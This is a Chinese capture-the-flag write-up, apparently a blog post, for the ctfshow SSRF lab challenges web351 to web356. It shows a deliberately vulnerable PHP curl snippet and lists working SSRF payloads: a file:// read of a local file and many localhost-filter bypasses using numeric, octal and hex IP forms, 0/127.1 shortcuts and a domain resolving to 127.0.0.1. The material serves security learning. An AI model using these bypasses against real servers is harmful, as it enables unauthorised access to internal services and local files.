ctfshow-web入门-SSRF

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有进行过滤,使用file协议读取本地文件

POST:url=file:///var/www/html/flag.php

ca90110bf80b457496e08af2f4dae8e3.png

通过读取的文件知道,也可以使用本地访问的方式得到flag

POST:url=127.0.0.1/flag.php

b57df022c9314eba9f082efa77ccba95.png

web352

1fb89f3d3eb1413d950926469b8fa59f.png

这到题多了一个parse_url()

parse_url是一个计算机函数,功能是解析URL。

该段代码会检测协议是否为http或https,并且不能有localhost和127.0.0,常见绕过方式:

进制绕过 
url=http://0x7F000001/flag.php
十六进制绕过
url=http://0x7F.0.0.1/flag.php
八进制绕过
url=http://0177.0.0.1/flag.php
0.0.0.0绕过 
url=http://0.0.0.0/flag.php
特殊的地址绕过
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127.0000000000000.001/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
CIDR绕过localhost
url=http://127.127.127.127/flag.php
使用句号绕过:
url=http://127。0。0。1/flag.php  

采用进制转换:127.0.0.1:八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433。

web353

824b5808b3404a6bbbfb3ba5a0c7baad.png

过滤了localhost,127.0.或127。1

用上一题的进制转换:url=http://0x7f.0.0.1/flag.php

cdad4dd3acc84dd8bcf1923204507c00.png

web354

08f3c8fca0494baeb24e5a3e572bd36d.png

过滤了localhost和0、1

可以将域名A类指向127.0.0.1

http(s)://sudo.cc/指向127.0.0.1

url=http://sudo.cc/flag.php

web355

38686163c74745dfaad01cb0fa28bde4.png

多了一个限制,就是让host的长度小于5

payload:

url=http://0/flag.php
url=http://127.1/flag.php

e9e5182968f34174b44addace2830244.png

web356

34deec49d4e04cbda95d477edcd155d5.png

和上一题一样,host长度小于3

url=http://0/flag.php

526ed4b28dba42e5b6c8eff4641df1ea.png

web357

b4352de52e3e4647a6f9298ac5ce2efd.png

 

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值